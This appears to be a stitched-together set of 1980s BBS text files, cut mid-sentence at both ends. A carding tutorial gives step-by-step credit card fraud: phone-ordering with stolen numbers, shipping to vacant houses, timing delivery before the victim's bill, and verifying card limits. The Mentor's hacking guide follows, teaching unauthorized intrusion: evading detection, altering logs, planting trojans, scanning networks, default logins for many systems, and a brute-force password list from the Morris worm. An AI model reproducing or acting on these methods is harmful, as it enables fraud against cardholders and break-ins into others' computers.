Card Number + 2. The Experation date + 3. Card type (Master Card, Visa, etc...) + + Those are the main things tha you will need. Having the name of the owner + is very helpfull but it is not a must. You can get by without it. + You have to order everything you want by mail. A couple of "Beginner" + carder that I talked to didn't understand how you would do it, but thats + when they had the misconception that you actually go to the store and + purchase things. That is a complete No, no. You do everything from a + phone ordering service. + When you call make sure that you are a t a pay phone. Don't do it + your house or anywhere where it can come back to you. When you order + the merchandice, once again do send it to anywhere that it can come back to + you like your home, work, etc. Find a vacant house or building or anywhere + else that you can send it to. Also, don't send it to a P.O. box that you + have, just as dangerous. When you do order it and you think its around the + time that you will be reciving it, check the mailbox frequently. But do it + during odd hours. I mean, hows it going to look you taking a package from a + vacant house? + Most bills are sent at the end of the month or at the biginning, so + try to time it to where the bill won't come to the person untill a couple of + days after you have recived the package. Ok heres how to figure it. I + have found out that the bills are sent out up around the 26-30th of the + month, so they will actually recive the bill around the 31-4th. Have it + sent right after you think the bill has been sent. Find what you want, but + try to order it from the place that guarentees the fastest delivery. When + you order the item, make sure they have it in stock and don't have to get + the item in first. Order the highest class of delivery but not COD or + next day service. Thats cutting it too close. It should take around 2-4 + weeks before you get it and if you timed it right, then it sound get there + right before the person gets the bill. You need to have it in your + possesion before the bill gets to the person because if they complain, they + can keep it from being sent, or watch who actually gets it even while its + going throught the mail process. Don't order more than a couple of things + or overcharge the card, if the people at the Credit card office, see + irregular charging on the card, they will follow up on it. + To actually order the item you will call up the place that you will + be ordering from, and when the operator answers let her know what you need + to as far as what you are purchasing, etc. When she ask how you will be + paying just tell her "Charge" and the the type of card like Master Card, + Visa, ect. Then Tell them your name, if you don't know the name of the + actuall owner of the card, Make up a false name that has NO relation to + your name, not the same first, last middle what ever, nothing relating to + your real name. Then continue answering all the operators questions, + address (Not your own remember!) state, area code etc. They will also ask + for your phone number. Make one up, not your own. If something happens + to go wrong as far as delivery or if they are checking if you are who you + say, then your screwed, unless of course, hehehe, the number is ALWAYS + busy. Find the busiest number there is and leave them that. When they + ask for the card number and experation, just tell them and do what all + else you need. Wish them a good day, and hope you get it. + Ok heres how you check if the card is good, and how much money + can be charged on the card....... + + 1. Dail 1-800-554-2265 + + 2. it will ask for the type of the card. you must put in 10 for Master + Card and 20 for Visa, I am not sure about the others. + + 3. Next it will ask for the Identification. You will need to enter + 1067 + + 4. After all that you will have to enter the Mecrchant number, which + you will either need to put in 24 or 52. One of them should work. + + 5. You will then have to enter (When Prompted) the card number itself. + + 6. Next, the experation date of the card. + + 7. Last but not least the amount you want to try to get on the card. + The procedure for this is enter dollars, astricks, then cents. + (Example:) + 100*30 = One hundred dollars and thirty cents. + + One thing I do need to mention, after you type in everything you must press + pound (#). Like when it asks you for the type of card, if you had a Master + Card you would put: 10#. when it asked for identification you would enter + 1067#. If it says invalid, that either means that the card is no good or + you can't charge that amount on the card. Try it again, but try a lower + amount. If you get down to $1 and it still doesn't work, hehehe, you can + probably guess that the card is no good. + You might not be ordering just merchandice you might be ordering + accounts and things like that and if you are, fine, but you have to + remember, the accounts do not stay good for very long, the owner of the + card gets the bill, complains and its no longer any good. And when you + card and account, Nine out of ten times, they won't kill the account, they + will trace in and that is when you butts really in a sling. So carding + accounts and things, isn't the safest way to go, of course. nothing we + have talked about it, right? + + + + + + Conclusion: +~~~~~~~~~~~~~~ + + Well thats about it for now, there should be a BIG newsletter by + The Mickey Mouse Club comming out soon that you have to be sure NOT to miss. + I sincerely hope that you have gotten alot out of this file and I would like + to ask for suggestions and ideas to make MMC a better orginazation. At this + time myself and Cardiac Arresst have a VMB at: + + 1-800-444-7207 [Ext] 4001. + + All ideas and suggestions, please bring there. Also, since your making + the trip anyways, bring along some phreaking codes and all and any types + of accounts. I would be greatly appreciated by: + + The Mickey Mouse Club. + 09/89 + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ + +++++++++++++++++++++++++++++++++++++++++++++++++ + | The LOD/H Presents | +++++++++++++++++ ++++++++++++++++ + \ A Novice's Guide to Hacking- 1989 edition / + \ ========================================= / + \ by / + \ The Mentor / + \ Legion of Doom/Legion of Hackers / + \ / + \ December, 1988 / + \ Merry Christmas Everyone! / + \+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/ + + ********************************************************************** + | The author hereby grants permission to reproduce, redistribute, | + | or include this file in your g-file section, electronic or print | + | newletter, or any other form of transmission that you choose, as | + | long as it is kept intact and whole, with no ommissions, delet- | + | ions, or changes. (C) The Mentor- Phoenix Project Productions | + | 1988,1989 512/441-3088 | + ********************************************************************** + +Introduction: The State of the Hack +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + After surveying a rather large g-file collection, my attention was drawn to +the fact that there hasn't been a good introductory file written for absolute +beginners since back when Mark Tabas was cranking them out (and almost +*everyone* was a beginner!) The Arts of Hacking and Phreaking have changed +radically since that time, and as the 90's approach, the hack/phreak community +has recovered from the Summer '87 busts (just like it recovered from the Fall +'85 busts, and like it will always recover from attempts to shut it down), and +the progressive media (from Reality Hackers magazine to William Gibson and +Bruce Sterling's cyberpunk fables of hackerdom) is starting to take notice +of us for the first time in recent years in a positive light. + Unfortunately, it has also gotten more dangerous since the early 80's. +Phone cops have more resources, more awareness, and more intelligence that they +exhibited in the past. It is becoming more and more difficult to survive as +a hacker long enough to become skilled in the art. To this end this file +is dedicated . If it can help someone get started, and help them survive +to discover new systems and new information, it will have served it's purpose, +and served as a partial repayment to all the people who helped me out when I +was a beginner. + +Contents +~~~~~~~~ + This file will be divided into four parts: + Part 1: What is Hacking, A Hacker's Code of Ethics, Basic Hacking Safety + Part 2: Packet Switching Networks: Telenet- How it Works, How to Use it, + Outdials, Network Servers, Private PADs + Part 3: Identifying a Computer, How to Hack In, Operating System + Defaults + Part 4: Conclusion- Final Thoughts, Books to Read, Boards to Call, + Acknowledgements + +Part One: The Basics +~~~~~~~~~~~~~~~~~~~~ + As long as there have been computers, there have been hackers. In the 50's +at the Massachusets Institute of Technology (MIT), students devoted much time +and energy to ingenious exploration of the computers. Rules and the law were +disregarded in their pursuit for the 'hack'. Just as they were enthralled with +their pursuit of information, so are we. The thrill of the hack is not in +breaking the law, it's in the pursuit and capture of knowledge. + To this end, let me contribute my suggestions for guidelines to follow to +ensure that not only you stay out of trouble, but you pursue your craft without +damaging the computers you hack into or the companies who own them. + +I. Do not intentionally damage *any* system. +II. Do not alter any system files other than ones needed to ensure your + escape from detection and your future access (Trojan Horses, Altering + Logs, and the like are all necessary to your survival for as long as + possible.) +III. Do not leave your (or anyone else's) real name, real handle, or real + phone number on any system that you access illegally. They *can* and + will track you down from your handle! +IV. Be careful who you share information with. Feds are getting trickier. + Generally, if you don't know their voice phone number, name, and + occupation or haven't spoken with them voice on non-info trading + conversations, be wary. + +V. Do not leave your real phone number to anyone you don't know. This + includes logging on boards, no matter how k-rad they seem. If you + don't know the sysop, leave a note telling some trustworthy people + that will validate you. +VI. Do not hack government computers. Yes, there are government systems + that are safe to hack, but they are few and far between. And the + government has inifitely more time and resources to track you down than + a company who has to make a profit and justify expenses. +VII. Don't use codes unless there is *NO* way around it (you don't have a + local telenet or tymnet outdial and can't connect to anything 800...) + You use codes long enough, you will get caught. Period. +VIII. Don't be afraid to be paranoid. Remember, you *are* breaking the law. + It doesn't hurt to store everything encrypted on your hard disk, or + keep your notes buried in the backyard or in the trunk of your car. + You may feel a little funny, but you'll feel a lot funnier when you + when you meet Bruno, your transvestite cellmate who axed his family to + death. +IX. Watch what you post on boards. Most of the really great hackers in the + country post *nothing* about the system they're currently working + except in the broadest sense (I'm working on a UNIX, or a COSMOS, or + something generic. Not "I'm hacking into General Electric's Voice Mail + System" or something inane and revealing like that.) +X. Don't be afraid to ask questions. That's what more experienced hackers + are for. Don't expect *everything* you ask to be answered, though. + There are some things (LMOS, for instance) that a begining hacker + shouldn't mess with. You'll either get caught, or screw it up for + others, or both. +XI. Finally, you have to actually hack. You can hang out on boards all you + want, and you can read all the text files in the world, but until you + actually start doing it, you'll never know what it's all about. There's + no thrill quite the same as getting into your first system (well, ok, + I can think of a couple of bigger thrills, but you get the picture.) + + One of the safest places to start your hacking career is on a computer +system belonging to a college. University computers have notoriously lax +security, and are more used to hackers, as every college computer depart- +ment has one or two, so are less likely to press charges if you should +be detected. But the odds of them detecting you and having the personel to +committ to tracking you down are slim as long as you aren't destructive. + If you are already a college student, this is ideal, as you can legally +explore your computer system to your heart's desire, then go out and look +for similar systems that you can penetrate with confidence, as you're already +familar with them. + So if you just want to get your feet wet, call your local college. Many of +them will provide accounts for local residents at a nominal (under $20) charge. + Finally, if you get caught, stay quiet until you get a lawyer. Don't vol- +unteer any information, no matter what kind of 'deals' they offer you. +Nothing is binding unless you make the deal through your lawyer, so you might +as well shut up and wait. + +Part Two: Networks +~~~~~~~~~~~~~~~~~~ + The best place to begin hacking (other than a college) is on one of the +bigger networks such as Telenet. Why? First, there is a wide variety of +computers to choose from, from small Micro-Vaxen to huge Crays. Second, the +networks are fairly well documented. It's easier to find someone who can help +you with a problem off of Telenet than it is to find assistance concerning your +local college computer or high school machine. Third, the networks are safer. +Because of the enormous number of calls that are fielded every day by the big +networks, it is not financially practical to keep track of where every call and +connection are made from. It is also very easy to disguise your location using +the network, which makes your hobby much more secure. + Telenet has more computers hooked to it than any other system in the world +once you consider that from Telenet you have access to Tymnet, ItaPAC, JANET, +DATAPAC, SBDN, PandaNet, THEnet, and a whole host of other networks, all of +which you can connect to from your terminal. + The first step that you need to take is to identify your local dialup port. +This is done by dialing 1-800-424-9494 (1200 7E1) and connecting. It will +spout some garbage at you and then you'll get a prompt saying 'TERMINAL='. +This is your terminal type. If you have vt100 emulation, type it in now. Or +just hit return and it will default to dumb terminal mode. + You'll now get a prompt that looks like a @. From here, type @c mail +and then it will ask for a Username. Enter 'phones' for the username. When it +asks for a password, enter 'phones' again. From this point, it is menu +driven. Use this to locate your local dialup, and call it back locally. If +you don't have a local dialup, then use whatever means you wish to connect to +one long distance (more on this later.) + When you call your local dialup, you will once again go through the +TERMINAL= stuff, and once again you'll be presented with a @. This prompt lets +you know you are connected to a Telenet PAD. PAD stands for either Packet +Assembler/Disassembler (if you talk to an engineer), or Public Access Device +(if you talk to Telenet's marketing people.) The first description is more +correct. + Telenet works by taking the data you enter in on the PAD you dialed into, +bundling it into a 128 byte chunk (normally... this can be changed), and then +transmitting it at speeds ranging from 9600 to 19,200 baud to another PAD, who +then takes the data and hands it down to whatever computer or system it's +connected to. Basically, the PAD allows two computers that have different baud +rates or communication protocols to communicate with each other over a long +distance. Sometimes you'll notice a time lag in the remote machines response. +This is called PAD Delay, and is to be expected when you're sending data +through several different links. + What do you do with this PAD? You use it to connect to remote computer +systems by typing 'C' for connect and then the Network User Address (NUA) of +the system you want to go to. + An NUA takes the form of 031103130002520 + \___/\___/\___/ + | | | + | | |____ network address + | |_________ area prefix + |______________ DNIC + + + This is a summary of DNIC's (taken from Blade Runner's file on ItaPAC) + according to their country and network name. + + +DNIC Network Name Country DNIC Network Name Country +_______________________________________________________________________________ + | +02041 Datanet 1 Netherlands | 03110 Telenet USA +02062 DCS Belgium | 03340 Telepac Mexico +02080 Transpac France | 03400 UDTS-Curacau Curacau +02284 Telepac Switzerland | 04251 Isranet Israel +02322 Datex-P Austria | 04401 DDX-P Japan +02329 Radaus Austria | 04408 Venus-P Japan +02342 PSS UK | 04501 Dacom-Net South Korea +02382 Datapak Denmark | 04542 Intelpak Singapore +02402 Datapak Sweden | 05052 Austpac Australia +02405 Telepak Sweden | 05053 Midas Australia +02442 Finpak Finland | 05252 Telepac Hong Kong +02624 Datex-P West Germany | 05301 Pacnet New Zealand +02704 Luxpac Luxembourg | 06550 Saponet South Africa +02724 Eirpak Ireland | 07240 Interdata Brazil +03020 Datapac Canada | 07241 Renpac Brazil +03028 Infogram Canada | 09000 Dialnet USA +03103 ITT/UDTS USA | 07421 Dompac French Guiana +03106 Tymnet USA | + + There are two ways to find interesting addresses to connect to. The first +and easiest way is to obtain a copy of the LOD/H Telenet Directory from the +LOD/H Technical Journal #4 or 2600 Magazine. Jester Sluggo also put out a good +list of non-US addresses in Phrack Inc. Newsletter Issue 21. These files will +tell you the NUA, whether it will accept collect calls or not, what type of +computer system it is (if known) and who it belongs to (also if known.) + The second method of locating interesting addresses is to scan for them +manually. On Telenet, you do not have to enter the 03110 DNIC to connect to a +Telenet host. So if you saw that 031104120006140 had a VAX on it you wanted to +look at, you could type @c 412 614 (0's can be ignored most of the time.) + If this node allows collect billed connections, it will say 412 614 +CONNECTED and then you'll possibly get an identifying header or just a +Username: prompt. If it doesn't allow collect connections, it will give you a +message such as 412 614 REFUSED COLLECT CONNECTION with some error codes out to +the right, and return you to the @ prompt. + There are two primary ways to get around the REFUSED COLLECT message. The +first is to use a Network User Id (NUI) to connect. An NUI is a username/pw +combination that acts like a charge account on Telenet. To collect to node +412 614 with NUI junk4248, password 525332, I'd type the following: +@c 412 614,junk4248,525332 <---- the 525332 will *not* be echoed to the +screen. The problem with NUI's is that they're hard to come by unless you're +a good social engineer with a thorough knowledge of Telenet (in which case +you probably aren't reading this section), or you have someone who can +provide you with them. + The second way to connect is to use a private PAD, either through an X.25 +PAD or through something like Netlink off of a Prime computer (more on these +two below.) + The prefix in a Telenet NUA oftentimes (not always) refers to the phone Area +Code that the computer is located in (i.e. 713 xxx would be a computer in +Houston, Texas.) If there's a particular area you're interested in, (say, +New York City 914), you could begin by typing @c 914 001 . If it connects, +you make a note of it and go on to 914 002. You do this until you've found +some interesting systems to play with. + Not all systems are on a simple xxx yyy address. Some go out to four or +five digits (914 2354), and some have decimal or numeric extensions +(422 121A = 422 121.01). You have to play with them, and you never know what +you're going to find. To fully scan out a prefix would take ten million +attempts per prefix. For example, if I want to scan 512 completely, I'd have +to start with 512 00000.00 and go through 512 00000.99, then increment the +address by 1 and try 512 00001.00 through 512 00001.99. A lot of scanning. +There are plenty of neat computers to play with in a 3-digit scan, however, +so don't go berserk with the extensions. + Sometimes you'll attempt to connect and it will just be sitting there after +one or two minutes. In this case, you want to abort the connect attempt by +sending a hard break (this varies with different term programs, on Procomm, +it's ALT-B), and then when you get the @ prompt back, type 'D' for disconnect. + If you connect to a computer and wish to disconnect, you can type @ + and you it should say TELENET and then give you the @ prompt. From there, +type D to disconnect or CONT to re-connect and continue your session +uninterrupted. + +Outdials, Network Servers, and PADs +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + In addition to computers, an NUA may connect you to several other things. +One of the most useful is the outdial. An outdial is nothing more than a modem +you can get to over telenet- similar to the PC Pursuit concept, except that +these don't have passwords on them most of the time. + When you connect, you will get a message like 'Hayes 1200 baud outdial, +Detroit, MI', or 'VEN-TEL 212 Modem', or possibly 'Session 1234 established +on Modem 5588'. The best way to figure out the commands on these is to +type ? or H or HELP- this will get you all the information that you need to +use one. + Safety tip here- when you are hacking *any* system through a phone dialup, +always use an outdial or a diverter, especially if it is a local phone number +to you. More people get popped hacking on local computers than you can +imagine, Intra-LATA calls are the easiest things in the world to trace inexp- +ensively. + Another nice trick you can do with an outdial is use the redial or macro +function that many of them have. First thing you do when you connect is to +invoke the 'Redial Last Number' facility. This will dial the last number used, +which will be the one the person using it before you typed. Write down the +number, as no one would be calling a number without a computer on it. This +is a good way to find new systems to hack. Also, on a VENTEL modem, type 'D' +for Display and it will display the five numbers stored as macros in the +modem's memory. + There are also different types of servers for remote Local Area Networks +(LAN) that have many machine all over the office or the nation connected to +them. I'll discuss identifying these later in the computer ID section. + And finally, you may connect to something that says 'X.25 Communication +PAD' and then some more stuff, followed by a new @ prompt. This is a PAD +just like the one you are on, except that all attempted connections are billed +to the PAD, allowing you to connect to those nodes who earlier refused collect +connections. + This also has the added bonus of confusing where you are connecting from. +When a packet is transmitted from PAD to PAD, it contains a header that has +the location you're calling from. For instance, when you first connected +to Telenet, it might have said 212 44A CONNECTED if you called from the 212 +area code. This means you were calling PAD number 44A in the 212 area. +That 21244A will be sent out in the header of all packets leaving the PAD. + Once you connect to a private PAD, however, all the packets going out +from *it* will have it's address on them, not yours. This can be a valuable +buffer between yourself and detection. + +Phone Scanning +~~~~~~~~~~~~~~ + Finally, there's the time-honored method of computer hunting that was made +famous among the non-hacker crowd by that Oh-So-Technically-Accurate movie +Wargames. You pick a three digit phone prefix in your area and dial every +number from 0000 --> 9999 in that prefix, making a note of all the carriers +you find. There is software available to do this for nearly every computer +in the world, so you don't have to do it by hand. + +Part Three: I've Found a Computer, Now What? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + This next section is applicable universally. It doesn't matter how you +found this computer, it could be through a network, or it could be from +carrier scanning your High School's phone prefix, you've got this prompt +this prompt, what the hell is it? + I'm *NOT* going to attempt to tell you what to do once you're inside of +any of these operating systems. Each one is worth several G-files in its +own right. I'm going to tell you how to identify and recognize certain +OpSystems, how to approach hacking into them, and how to deal with something +that you've never seen before and have know idea what it is. + + +VMS- The VAX computer is made by Digital Equipment Corporation (DEC), + and runs the VMS (Virtual Memory System) operating system. + VMS is characterized by the 'Username:' prompt. It will not tell + you if you've entered a valid username or not, and will disconnect + you after three bad login attempts. It also keeps track of all + failed login attempts and informs the owner of the account next time + s/he logs in how many bad login attempts were made on the account. + It is one of the most secure operating systems around from the + outside, but once you're in there are many things that you can do + to circumvent system security. The VAX also has the best set of + help files in the world. Just type HELP and read to your heart's + content. + Common Accounts/Defaults: [username: password [[,password]] ] + SYSTEM: OPERATOR or MANAGER or SYSTEM or SYSLIB + OPERATOR: OPERATOR + SYSTEST: UETP + SYSMAINT: SYSMAINT or SERVICE or DIGITAL + FIELD: FIELD or SERVICE + GUEST: GUEST or unpassworded + DEMO: DEMO or unpassworded + DECNET: DECNET + + +DEC-10- An earlier line of DEC computer equipment, running the TOPS-10 + operating system. These machines are recognized by their + '.' prompt. The DEC-10/20 series are remarkably hacker-friendly, + allowing you to enter several important commands without ever + logging into the system. Accounts are in the format [xxx,yyy] where + xxx and yyy are integers. You can get a listing of the accounts and + the process names of everyone on the system before logging in with + the command .systat (for SYstem STATus). If you seen an account + that reads [234,1001] BOB JONES, it might be wise to try BOB or + JONES or both for a password on this account. To login, you type + .login xxx,yyy and then type the password when prompted for it. + The system will allow you unlimited tries at an account, and does + not keep records of bad login attempts. It will also inform you + if the UIC you're trying (UIC = User Identification Code, 1,2 for + example) is bad. + Common Accounts/Defaults: + 1,2: SYSLIB or OPERATOR or MANAGER + 2,7: MAINTAIN + 5,30: GAMES + +UNIX- There are dozens of different machines out there that run UNIX. + While some might argue it isn't the best operating system in the + world, it is certainly the most widely used. A UNIX system will + usually have a prompt like 'login:' in lower case. UNIX also + will give you unlimited shots at logging in (in most cases), and + there is usually no log kept of bad attempts. + Common Accounts/Defaults: (note that some systems are case + sensitive, so use lower case as a general rule. Also, many times + the accounts will be unpassworded, you'll just drop right in!) + root: root + admin: admin + sysadmin: sysadmin or admin + unix: unix + uucp: uucp + rje: rje + guest: guest + demo: demo + daemon: daemon + sysbin: sysbin + +Prime- Prime computer company's mainframe running the Primos operating + system. The are easy to spot, as the greet you with + 'Primecon 18.23.05' or the like, depending on the version of the + operating system you run into. There will usually be no prompt + offered, it will just look like it's sitting there. At this point, + type 'login '. If it is a pre-18.00.00 version of Primos, + you can hit a bunch of ^C's for the password and you'll drop in. + Unfortunately, most people are running versions 19+. Primos also + comes with a good set of help files. One of the most useful + features of a Prime on Telenet is a facility called NETLINK. Once + you're inside, type NETLINK and follow the help files. This allows + you to connect to NUA's all over the world using the 'nc' command. + For example, to connect to NUA 026245890040004, you would type + @nc :26245890040004 at the netlink prompt. + Common Accounts/Defaults: + PRIME PRIME or PRIMOS + PRIMOS_CS PRIME or PRIMOS + PRIMENET PRIMENET + SYSTEM SYSTEM or PRIME + NETLINK NETLINK + TEST TEST + GUEST GUEST + GUEST1 GUEST + +HP-x000- This system is made by Hewlett-Packard. It is characterized by the + ':' prompt. The HP has one of the more complicated login sequences + around- you type 'HELLO SESSION NAME,USERNAME,ACCOUNTNAME,GROUP'. + Fortunately, some of these fields can be left blank in many cases. + Since any and all of these fields can be passworded, this is not + the easiest system to get into, except for the fact that there are + usually some unpassworded accounts around. In general, if the + defaults don't work, you'll have to brute force it using the + common password list (see below.) The HP-x000 runs the MPE operat- + ing system, the prompt for it will be a ':', just like the logon + prompt. + Common Accounts/Defaults: + MGR.TELESUP,PUB User: MGR Acct: HPONLY Grp: PUB + MGR.HPOFFICE,PUB unpassworded + MANAGER.ITF3000,PUB unpassworded + FIELD.SUPPORT,PUB user: FLD, others unpassworded + MAIL.TELESUP,PUB user: MAIL, others +unpassworded + MGR.RJE unpassworded + FIELD.HPPl89 ,HPPl87,HPPl89,HPPl96 unpassworded + MGR.TELESUP,PUB,HPONLY,HP3 unpassworded + + +IRIS- IRIS stands for Interactive Real Time Information System. It orig- + inally ran on PDP-11's, but now runs on many other minis. You can + spot an IRIS by the 'Welcome to "IRIS" R9.1.4 Timesharing' banner, + and the ACCOUNT ID? prompt. IRIS allows unlimited tries at hacking + in, and keeps no logs of bad attempts. I don't know any default + passwords, so just try the common ones from the password database + below. + Common Accounts: + MANAGER + BOSS + SOFTWARE + DEMO + PDP8 + PDP11 + ACCOUNTING + +VM/CMS- The VM/CMS operating system runs in International Business Machines + (IBM) mainframes. When you connect to one of these, you will get + message similar to 'VM/370 ONLINE', and then give you a '.' prompt, + just like TOPS-10 does. To login, you type 'LOGON '. + Common Accounts/Defaults are: + AUTOLOG1: AUTOLOG or AUTOLOG1 + CMS: CMS + CMSBATCH: CMS or CMSBATCH + EREP: EREP + MAINT: MAINT or MAINTAIN + OPERATNS: OPERATNS or OPERATOR + OPERATOR: OPERATOR + RSCS: RSCS + SMART: SMART + SNA: SNA + VMTEST: VMTEST + VMUTIL: VMUTIL + VTAM: VTAM + +NOS- NOS stands for Networking Operating System, and runs on the Cyber + computer made by Control Data Corporation. NOS identifies itself + quite readily, with a banner of 'WELCOME TO THE NOS SOFTWARE + SYSTEM. COPYRIGHT CONTROL DATA 1978,1987'. The first prompt you + will get will be FAMILY:. Just hit return here. Then you'll get + a USER NAME: prompt. Usernames are typically 7 alpha-numerics + characters long, and are *extremely* site dependent. Operator + accounts begin with a digit, such as 7ETPDOC. + Common Accounts/Defaults: + $SYSTEM unknown + SYSTEMV unknown + +Decserver- This is not truly a computer system, but is a network server that + has many different machines available from it. A Decserver will + say 'Enter Username>' when you first connect. This can be anything, + it doesn't matter, it's just an identifier. Type 'c', as this is + the least conspicuous thing to enter. It will then present you + with a 'Local>' prompt. From here, you type 'c ' to + connect to a system. To get a list of system names, type + 'sh services' or 'sh nodes'. If you have any problems, online + help is available with the 'help' command. Be sure and look for + services named 'MODEM' or 'DIAL' or something similar, these are + often outdial modems and can be useful! + +GS/1- Another type of network server. Unlike a Decserver, you can't + predict what prompt a GS/1 gateway is going to give you. The + default prompt it 'GS/1>', but this is redifinable by the + system administrator. To test for a GS/1, do a 'sh d'. If that + prints out a large list of defaults (terminal speed, prompt, + parity, etc...), you are on a GS/1. You connect in the same manner + as a Decserver, typing 'c '. To find out what systems + are available, do a 'sh n' or a 'sh c'. Another trick is to do a + 'sh m', which will sometimes show you a list of macros for logging + onto a system. If there is a macro named VAX, for instance, type + 'do VAX'. + + The above are the main system types in use today. There are + hundreds of minor variants on the above, but this should be + enough to get you started. + +Unresponsive Systems +~~~~~~~~~~~~~~~~~~~~ + Occasionally you will connect to a system that will do nothing but sit +there. This is a frustrating feeling, but a methodical approach to the system +will yield a response if you take your time. The following list will usually +make *something* happen. +1) Change your parity, data length, and stop bits. A system that won't re- + spond at 8N1 may react at 7E1 or 8E2 or 7S2. If you don't have a term + program that will let you set parity to EVEN, ODD, SPACE, MARK, and NONE, + with data length of 7 or 8, and 1 or 2 stop bits, go out and buy one. + While having a good term program isn't absolutely necessary, it sure is + helpful. +2) Change baud rates. Again, if your term program will let you choose odd + baud rates such as 600 or 1100, you will occasionally be able to penetrate + some very interesting systems, as most systems that depend on a strange + baud rate seem to think that this is all the security they need... +3) Send a series of 's. +4) Send a hard break followed by a . +5) Type a series of .'s (periods). The Canadian network Datapac responds + to this. +6) If you're getting garbage, hit an 'i'. Tymnet responds to this, as does + a MultiLink II. +7) Begin sending control characters, starting with ^A --> ^Z. +8) Change terminal emulations. What your vt100 emulation thinks is garbage + may all of a sudden become crystal clear using ADM-5 emulation. This also + relates to how good your term program is. +9) Type LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, LOGON, GO, + JOIN, HELP, and anything else you can think of. +10) If it's a dialin, call the numbers around it and see if a company + answers. If they do, try some social engineering. + +Brute Force Hacking +~~~~~~~~~~~~~~~~~~~ + There will also be many occasions when the default passwords will not work +on an account. At this point, you can either go onto the next system on your +list, or you can try to 'brute-force' your way in by trying a large database +of passwords on that one account. Be careful, though! This works fine on +systems that don't keep track of invalid logins, but on a system like a VMS, +someone is going to have a heart attack if they come back and see '600 Bad +Login Attempts Since Last Session' on their account. There are also some +operating systems that disconnect after 'x' number of invalid login attempts +and refuse to allow any more attempts for one hour, or ten minutes, or some- +times until the next day. + The following list is taken from my own password database plus the data- +base of passwords that was used in the Internet UNIX Worm that was running +around in November of 1988. For a shorter group, try first names, computer +terms, and obvious things like 'secret', 'password', 'open', and the name +of the account. Also try the name of the company that owns the computer +system (if known), the company initials, and things relating to the products +the company makes or deals with. + + Password List + ============= + + aaa daniel jester rascal + academia danny johnny really + ada dave joseph rebecca + adrian deb joshua remote + aerobics debbie judith rick + airplane deborah juggle reagan + albany december julia robot + albatross desperate kathleen robotics + albert develop kermit rolex + alex diet kernel ronald + alexander digital knight rosebud + algebra discovery lambda rosemary + alias disney larry roses + alpha dog lazarus ruben + alphabet drought lee rules + ama duncan leroy ruth + amy easy lewis sal + analog eatme light saxon + anchor edges lisa scheme + andy edwin louis scott + andrea egghead lynne scotty + animal eileen mac secret + answer einstein macintosh sensor + anything elephant mack serenity + arrow elizabeth maggot sex + arthur ellen magic shark + asshole emerald malcolm sharon + athena engine mark shit + atmosphere engineer markus shiva + bacchus enterprise marty shuttle + badass enzyme marvin simon + bailey euclid master simple + banana evelyn maurice singer + bandit extension merlin single + banks fairway mets smile + bass felicia michael smiles + batman fender michelle smooch + beauty fermat mike smother + beaver finite minimum snatch + beethoven flower minsky snoopy + beloved foolproof mogul soap + benz football moose socrates + beowulf format mozart spit + berkeley forsythe nancy spring + berlin fourier napoleon subway + beta fred network success + beverly friend newton summer + bob frighten next super + brenda fun olivia support + brian gabriel oracle surfer + bridget garfield orca suzanne + broadway gauss orwell tangerine + bumbling george osiris tape + cardinal gertrude outlaw target + carmen gibson oxford taylor + carolina ginger pacific telephone + caroline gnu painless temptation + castle golf pam tiger + cat golfer paper toggle + celtics gorgeous password tomato + change graham pat toyota + charles gryphon patricia trivial + charming guest penguin unhappy + charon guitar pete unicorn + chester hacker peter unknown + cigar harmony philip urchin + classic harold phoenix utility + coffee harvey pierre vicky + coke heinlein pizza virginia + collins hello plover warren + comrade help polynomial water + computer herbert praise weenie + condo honey prelude whatnot + condom horse prince whitney + cookie imperial protect will + cooper include pumpkin william + create ingres puppet willie + creation innocuous rabbit winston + creator irishman rachmaninoff wizard + cretin isis rainbow wombat + daemon japan raindrop yosemite + dancer jessica random zap + + +Part Four: Wrapping it up! +~~~~~~~~~~~~~~~~~~~~~~~~~~ + I hope this file has been of some help in getting started. If you're +asking yourself the question 'Why hack?', then you've probably wasted a lot +of time reading this, as you'll never understand. For those of you who +have read this and found it useful, please send a tax-deductible donation +of $5.00 (or more!) in the name of the Legion of Doom to: + The American Cancer Society + 90 Park Avenue + New York, NY 10016 + + + +******************************************************************************** +References: +1) Introduction to ItaPAC by Blade Runner + Telecom Security Bulletin #1 +2) The IBM VM/CMS Operating System by Lex Luthor + The LOD/H Technical Journal #2 +3) Hacking the IRIS Operating System by The Leftist + The LOD/H Technical Journal #3 +4) Hacking CDC's Cyber by Phrozen Ghost + Phrack Inc. Newsletter #18 +5) USENET comp.risks digest (various authors, various issues) +6) USENET unix.wizards forum (various authors) +7) USENET info-vax forum (various authors) + +Recommended Reading: +1) Hackers by Steven Levy +2) Out of the Inner Circle by Bill Landreth +3) Turing's Man by J. David Bolter +4) Soul of a New Machine by Tracy Kidder +5) Neuromancer, Count Zero, Mona Lisa Overdrive, and Burning Chrome, all + by William Gibson +6) Reality Hackers Magazine c/o High Frontiers, P.O. Box 40271, Berkeley, + California, 94704, 415-995-2606 +7) Any of the Phrack Inc. Newsletters & LOD/H Technical Journals you can find. + +Acknowledgements: + Thanks to my wife for putting up with me. + Thanks to Lone Wolf for the RSTS & TOPS assistance. + Thanks to Android Pope for proofreading, suggestions, and beer. + Thanks to The Urvile/Necron 99 for proofreading & Cyber info. + Thanks to Eric Bloodaxe for wading through all the trash. + Thanks to the users of Phoenix Project for their contributions. + Thanks to Altos Computer Systems, Munich, for the chat system. + Thanks to the various security personel who were willing to talk to + me about how they operate. + +Boards: + I can be reached on the following systems with some regularity- + The Phoenix Project: 512/441-3088 300-2400 baud + Hacker's Den-80: 718/358-9209 300-1200 baud + Smash Palace South: 512/478-6747 300-2400 baud + Smash Palace North: 612/633-0509 300-2400 baud + P-80 Systems 304-744-2253 300-2400 baud +************************************* EOF ************************************** + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + |==========================| + || Cable Piracy || + || by || + || Psycho Bear || + || Thanks: Mad Poo Bandit 